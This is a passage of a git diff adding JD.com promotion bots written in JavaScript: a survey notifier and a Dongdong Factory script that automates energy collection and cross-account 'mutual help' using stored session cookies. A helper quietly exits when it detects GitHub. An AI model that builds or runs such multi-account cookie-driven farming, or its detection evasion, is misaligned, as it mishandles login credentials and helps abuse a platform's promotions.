f"所有任务数量为:{len(tasklist)}" + filter = f"过滤的任务数量为:{len(res_list)}" + disable = f"禁用的任务数量为:{len(ids)}" + logging.info("\n=== 禁用数量统计 ===\n" + sum + "\n" + filter + "\n" + disable) + + if len(ids) == 0: + logger.info("😁没有重复任务~") + else: + disable_duplicate_tasks(ids) + if send: + send("💖禁用重复任务成功", f"\n{sum}\n{filter}\n{disable}") diff --git a/jd_insight.js b/jd_insight.js new file mode 100644 index 0000000..9f9fbb6 --- /dev/null +++ b/jd_insight.js @@ -0,0 +1,541 @@ +/* +cron "35 11 * * *" jd_insight.js, tag:京洞察问卷通知 + +by ccwav + */ + +const $ = new Env('京洞察问卷通知'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +let allnotify=""; +let WP_APP_TOKEN_ONE = ""; + +if ($.isNode()) { + if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; + } + + Object.keys(jdCookieNode) + .forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]") + .map(item => item.cookie) + ].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${UUID};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.maxPage = '1'; + message = ''; + await TotalBean(); + console.log(`******开始查询【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main() + } + } + + if ($.isNode() && allnotify) { + await notify.sendNotify(`${$.name}`, allnotify); + } + +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) +.finally(() => { + $.done(); +}) + +async function main() { + console.log(`开始获取京洞察调研列表...\n`) + let data= await GetSurveyList(); + if(data.result){ + let list=data.messages.list + if(list.length>0){ + let AccTitle=`账号${$.index} ${$.nickName || $.UserName} `; + let msg = AccTitle+`共${list.length}个类型调查问卷\n`; + for (let index = 0; index < list.length; index++) { + const item = list[index].surveyList; + //msg += `类型:${list[index].type}\n`; + for (let index = 0; index < item.length; index++) { + let surveyItem = item[index]; + let title = surveyItem.title + let subTitle = surveyItem.subTitle + let answerUrl = surveyItem.answerUrl + msg += `${index+1}.【${title}】 ${subTitle}\n点击这里开启问卷\n` + } + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher("京洞察问卷通知", msg, `${$.UserName}`); + } + allnotify+=msg + } + }else{ + $.log('当前账户没有京调研问卷') + } +} + +function random(min, max) { + return parseInt((max - min) * Math.random()); +} +// prettier-ignore +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { + return x.replace(/[xy]/g, function(x) { + var r = 16 * Math.random() | 0, + n = "x" == x ? r : 3 & r | 8; + return uuid = t ? n.toString(36) + .toUpperCase() : n.toString(36), uuid + }) +} + +function GetSurveyList() { + const options = { + "url": 'https://answer.jd.com/community/survey/list', + "headers": { + "Cookie": cookie, + "User-Agent":"Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Mobile/15E148 Safari/604.1" + } + }; + return new Promise(resolve => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(err); + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + //console.log(data); + if (data) { + data = JSON.parse(data); + } else { + console.log("没有返回数据") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function TotalBean() { + return new Promise(async e => { + const n = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": UA, + "Accept-Language": "zh-cn", + Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + }; + $.get(n, (n, o, a) => { + try { + if (n) $.logErr(n); + else if (a) { + if (1001 === (a = JSON.parse(a))["retcode"]) return void($.isLogin = !1); + 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) + } else console.log("京东服务器返回空数据") + } catch (e) { + $.logErr(e) + } finally { + e() + } + }) + }) +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env) + .indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date) + .getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "") + .trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }) + .catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1") + .split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString() + .match(/[^.[\]]+/g) || []), e.slice(0, -1) + .reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t) + .then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t) + .on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse) + .toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }) + .then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t) + .then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i) + .then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "") + .substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")") + .test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]) + .substr(("" + i[e]) + .length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date) + .getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_jdfactory.js b/jd_jdfactory.js new file mode 100644 index 0000000..0561445 --- /dev/null +++ b/jd_jdfactory.js @@ -0,0 +1,777 @@ +/* + * @Author: LXK9301 https://github.com/LXK9301 + * @Date: 2021-8-20 + * @Last Modified by: LXK9301 + * @Last Modified time: 2020-12-26 22:58:02 + */ +/* +东东工厂,不是京喜工厂 +活动入口:京东APP首页-数码电器-东东工厂 +免费产生的电量(10秒1个电量,500个电量满,5000秒到上限不生产,算起来是84分钟达到上限) +故建议1小时运行一次 +开会员任务和去京东首页点击“数码电器任务目前未做 +不会每次运行脚本都投入电力 +只有当心仪的商品存在,并且收集起来的电量满足当前商品所需电力,才投入 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#东东工厂 +10 0,6-23 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js, tag=东东工厂, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_factory.png, enabled=true + +================Loon============== +[Script] +cron "10 0,6-23 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js,tag=东东工厂 + +===============Surge================= +东东工厂 = type=cron,cronexp="10 0,6-23 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js + +============小火箭========= +东东工厂 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js, cronexpr="10 0,6-23 * * *", timeout=3600, enable=true + */ +const $ = new Env('东东工厂_内部互助'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', jdFactoryShareArr = [], message, newShareCodes; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + if (process.env.JDFACTORY_FORBID_ACCOUNT) process.env.JDFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let wantProduct = ``;//心仪商品名称 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = []; +let myInviteCode; +$.newShareCode = []; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.stop = false; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdFactory() + } + } + console.log(`\n开始账号内互助......`); + for (let j = 0; j < cookiesArr.length; j++) { + if (cookiesArr[j]) { + cookie = cookiesArr[j]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = j + 1; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName}:\n`); + await helpFriends(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFactory() { + try { + await jdfactory_getHomeData(); + // $.newUser !==1 && $.haveProduct === 2,老用户但未选购商品 + // $.newUser === 1新用户 + if ($.newUser === 1) return + await jdfactory_collectElectricity();//收集产生的电量 + await jdfactory_getTaskDetail(); + await doTask(); + await algorithm();//投入电力逻辑 + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`${message}`); + } + if (new Date().getHours() === 12) { + $.msg($.name, '', `${message}`); + } + resolve() + }) +} +async function algorithm() { + // 当心仪的商品存在,并且收集起来的电量满足当前商品所需,就投入 + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.haveProduct = data.data.result.haveProduct; + $.userName = data.data.result.userName; + $.newUser = data.data.result.newUser; + wantProduct = $.isNode() ? (process.env.FACTORAY_WANTPRODUCT_NAME ? process.env.FACTORAY_WANTPRODUCT_NAME : wantProduct) : ($.getdata('FACTORAY_WANTPRODUCT_NAME') ? $.getdata('FACTORAY_WANTPRODUCT_NAME') : wantProduct); + if (data.data.result.factoryInfo) { + let { totalScore, useScore, produceScore, remainScore, couponCount, name } = data.data.result.factoryInfo + console.log(`\n已选商品:${name}`); + console.log(`当前已投入电量/所需电量:${useScore}/${totalScore}`); + console.log(`已选商品剩余量:${couponCount}`); + console.log(`当前总电量:${remainScore * 1 + useScore * 1}`); + console.log(`当前完成度:${((remainScore * 1 + useScore * 1) / (totalScore * 1)).toFixed(2) * 100}%\n`); + message += `京东账号${$.index} ${$.nickName}\n`; + message += `已选商品:${name}\n`; + message += `当前已投入电量/所需电量:${useScore}/${totalScore}\n`; + message += `已选商品剩余量:${couponCount}\n`; + message += `当前总电量:${remainScore * 1 + useScore * 1}\n`; + message += `当前完成度:${((remainScore * 1 + useScore * 1) / (totalScore * 1)).toFixed(2) * 100}%\n`; + if (wantProduct) { + console.log(`BoxJs或环境变量提供的心仪商品:${wantProduct}\n`); + await jdfactory_getProductList(true); + let wantProductSkuId = ''; + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > - 1) { + totalScore = item['fullScore'] * 1; + couponCount = item.couponCount; + name = item.name; + } + if (item.name.indexOf(wantProduct) > - 1 && item.couponCount > 0) { + wantProductSkuId = item.skuId; + } + } + // console.log(`\n您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${remainScore * 1 + useScore * 1}\n`); + if (wantProductSkuId && ((remainScore * 1 + useScore * 1) >= (totalScore * 1 + 100000))) { + console.log(`\n提供的心仪商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【满足】兑换此商品所需总电量:${totalScore + 100000}`); + console.log(`请去活动页面更换成心仪商品并手动投入电量兑换\n`); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面\n更换成心仪商品并手动投入电量兑换`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请去活动页面更换成心仪商品并手动投入电量兑换`); + } else { + console.log(`您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${remainScore * 1 + useScore * 1}\n不满足兑换心仪商品的条件\n`) + } + } else { + console.log(`BoxJs或环境变量暂未提供心仪商品\n如需兑换心仪商品,请提供心仪商品名称,否则满足条件后会为您兑换当前所选商品:${name}\n`); + if (((remainScore * 1 + useScore * 1) >= totalScore * 1 + 100000) && (couponCount * 1 > 0)) { + console.log(`\n所选商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【满足】兑换此商品所需总电量:${totalScore}`); + console.log(`BoxJs或环境变量暂未提供心仪商品,下面为您目前选的${name} 发送提示通知\n`); + // await jdfactory_addEnergy(); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您所选商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面查看`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n所选商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请速去活动页面查看`); + } else { + console.log(`\n所选商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【不满足】兑换此商品所需总电量:${totalScore}`) + console.log(`故不一次性投入电力,一直放到蓄电池累计\n`); + } + } + } else { + console.log(`\n此账号${$.index}${$.nickName}暂未选择商品\n`); + message += `京东账号${$.index} ${$.nickName}\n`; + message += `已选商品:暂无\n`; + message += `心仪商品:${wantProduct ? wantProduct : '暂无'}\n`; + if (wantProduct) { + console.log(`BoxJs或环境变量提供的心仪商品:${wantProduct}\n`); + await jdfactory_getProductList(true); + let wantProductSkuId = '', name, totalScore, couponCount, remainScore; + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > - 1) { + totalScore = item['fullScore'] * 1; + couponCount = item.couponCount; + name = item.name; + } + if (item.name.indexOf(wantProduct) > - 1 && item.couponCount > 0) { + wantProductSkuId = item.skuId; + } + } + if (totalScore) { + // 库存存在您设置的心仪商品 + message += `心仪商品数量:${couponCount}\n`; + message += `心仪商品所需电量:${totalScore}\n`; + message += `您当前总电量:${$.batteryValue * 1}\n`; + if (wantProductSkuId && (($.batteryValue * 1) >= (totalScore))) { + console.log(`\n提供的心仪商品${name}目前数量:${couponCount},且当前总电量为:${$.batteryValue * 1},【满足】兑换此商品所需总电量:${totalScore}`); + console.log(`请去活动页面选择心仪商品并手动投入电量兑换\n`); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${$.batteryValue * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面\n选择此心仪商品并手动投入电量兑换`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${$.batteryValue * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请去活动页面选择此心仪商品并手动投入电量兑换`); + } else { + console.log(`您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${$.batteryValue * 1}\n不满足兑换心仪商品的条件\n`) + } + } else { + message += `目前库存:暂无您设置的心仪商品\n`; + } + } else { + console.log(`BoxJs或环境变量暂未提供心仪商品\n如需兑换心仪商品,请提供心仪商品名称\n`); + await jdfactory_getProductList(true); + message += `当前剩余最多商品:${$.canMakeList[0] && $.canMakeList[0].name}\n`; + message += `兑换所需电量:${$.canMakeList[0] && $.canMakeList[0].fullScore}\n`; + message += `您当前总电量:${$.batteryValue * 1}\n`; + if ($.canMakeList[0] && $.canMakeList[0].couponCount > 0 && $.batteryValue * 1 >= $.canMakeList[0] && $.canMakeList[0].fullScore) { + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); + if (new Date(nowTimes).getHours() === 12) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}【满足】兑换${$.canMakeList[0] && $.canMakeList[0] && [0].name}所需总电量:${$.canMakeList[0] && $.canMakeList[0].fullScore}\n请点击弹窗直达活动页面\n选择此心仪商品并手动投入电量兑换`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n${message}【满足】兑换${$.canMakeList[0] && $.canMakeList[0].name}所需总电量:${$.canMakeList[0].fullScore}\n请速去活动页面查看`); + } + } else { + console.log(`\n目前电量${$.batteryValue * 1},不满足兑换 ${$.canMakeList[0] && $.canMakeList[0].name}所需的 ${$.canMakeList[0] && $.canMakeList[0].fullScore}电量\n`) + } + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function helpFriends() { + $.newShareCode = [...(jdFactoryShareArr || [])] + for (let code of $.newShareCode) { + if 